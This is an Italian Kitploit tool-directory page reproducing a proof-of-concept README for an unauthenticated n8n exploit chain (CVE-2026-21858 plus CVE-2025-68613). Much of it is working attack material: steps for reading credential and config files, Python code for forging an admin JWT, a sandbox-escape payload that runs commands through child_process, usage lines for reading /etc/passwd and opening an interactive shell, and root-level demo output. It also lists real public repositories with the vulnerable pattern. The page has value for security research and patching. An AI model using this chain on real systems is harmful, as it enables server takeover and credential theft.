Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-21858 — POC per CVE-2026-21858 | Kitploit
Strumenti/GitHubGitHub/fomovet/cve-2026-21858
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC per CVE-2026-21858

Vedi Repository
112 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-21858 + CVE-2025-68613 - n8n Catena completa

Lettura arbitraria di file non autenticata → Forgiatura del token admin → Bypass della sandbox → RCE

Scarica lo strumento
CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critico)
Versioni interessate<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Versione corretta1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgata2026-01-07 11:09 UTC
Nome in codiceNi8mare
CreditiDor Attias (Cyera)
ExploitChocapikk
ProcessoAutomazione IA: diff patch → repro → lab → exploit (~9h dopo la divulgazione)
TipoProva di concetto - NON è un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni)

TL;DR

Catena RCE completa non autenticata su n8n:

  1. CVE-2026-21858 - Confusione Content-Type → Lettura arbitraria di file
  2. Leggi config + database → forgiare JWT admin
  3. CVE-2025-68613 - Iniezione di espressioni → bypass sandbox → RCE

Rilevamento

L'esposizione è basata sulla versione. In termini di esposizione, esistono istanze n8n vulnerabili accessibili pubblicamente.

Risultati LeakIX: Visualizza istanze esposte

Risultati di rilevamento LeakIX

Perché questo exploit?

Questo exploit è stato sviluppato in modo indipendente rispetto all'analisi di Cyera (scoperta dopo il completamento). Differenze principali:

Cyera (Ricerca originale)Questo exploit
Lettura fileCaricamento nella knowledge base dell'IA → interrogazione via chatRisposta HTTP diretta
PrerequisitiWorkflow chat + integrazione IAQualsiasi form con caricamento file
Metodo RCENodo "Execute Command" (disabilitato di default)Iniezione di espressioni (funziona su installazioni predefinite)
AutomazioneDemo manuale/concettualeScript Python completamente automatizzato

Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.

Catena di attacco

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lettura arbitraria di file tramite confusione del Content-Type

La patch

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️

Causa principale

root@kitploit:~
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.

CVE-2025-68613 - RCE tramite iniezione di espressioni

Perché questo bypass?

n8n esegue in sandbox il codice utente (Code Node, espressioni) utilizzando vm2/isolated-vm. Altri vettori RCE:

TecnicaStato
Nodo Execute CommandDisabilitato di default (N8N_ALLOW_EXEC_COMMAND=false)
Nodi SSH/HTTPEseguono su server remoti, non sull'host n8n
Escape sandbox PyodideCVE-2025-68668 - richiede il nodo Python Code
Iniezione di espressioniCVE-2025-68613 - funziona su installazioni predefinite

Ho usato Iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo speciale o configurazione richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il nodo Python Code che potrebbe non essere disponibile su tutte le istanze.

Il Payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Le espressioni n8n hanno accesso a this.process.mainModule.require → escape completo della sandbox.

Forgiatura del token

root@kitploit:~
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configurazione del laboratorio

root@kitploit:~
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilizzo

root@kitploit:~
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:

RequisitoDescrizione
Form con caricamento fileIl target deve avere un workflow form con un campo di caricamento file
Nodo Respond to WebhookIl workflow deve restituire il contenuto del file nella risposta HTTP
Workflow attivoIl workflow del form deve essere attivato
Accesso non autenticatoIl form deve essere accessibile pubblicamente (senza autenticazione)

Esempio di configurazione di workflow vulnerabile:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo pattern è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, elaboratori di documenti).

Funziona:

  • Form con nodo Respond che restituisce dati binari (convertitori di file, elaboratori)
  • Installazioni n8n predefinite (iniezione di espressioni non bloccata)
  • Distribuzioni Local/Docker (database + config salvati su disco)

Non funziona:

  • Form senza nodo Respond (il file viene letto ma il contenuto non viene restituito nella risposta HTTP)
  • Form che richiedono autenticazione
  • n8n Cloud (architettura diversa, nessun accesso ai file locali)
  • Versioni patchate (>= 1.121.0)

Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.

Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).

Esempi reali

Il pattern vulnerabile (Form Trigger + caricamento file + Respond to Webhook) esiste nei repository GitHub pubblici.

Nota: I repository di workflow n8n più popolari (>100⭐) non usano questo pattern. Si tratta di progetti comunitari/personali:

Workflow FileFile FieldsrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImmagini, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocumento (PDF)text
ai_resume_project/resume_rag.jsonCaricamento fileallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonFile audiotext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonCarica filedefault
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfiledefault
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonCarica il tuo documentodefault
learn_earn_ai_insta/.../My workflow.jsoncarica il tuo filedefault
finintworkshop/.../API using n8n (ToT).json

Questi sono workflow contribuiti dalla community. Nessun template ufficiale di n8n.io utilizza questo pattern vulnerabile.

Riferimenti

  • Vulhub Environment - Laboratorio pronto all'uso su Vulhub
  • Cyera Research - Ni8mare Full Write-up - Ricerca originale di Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei Template CVE-2025-68613
  • LeakIX Search Results - Istanze vulnerabili esposte
  • Formidable - "La libreria, non la canzone" (grazie Cyera per la risata)
file
json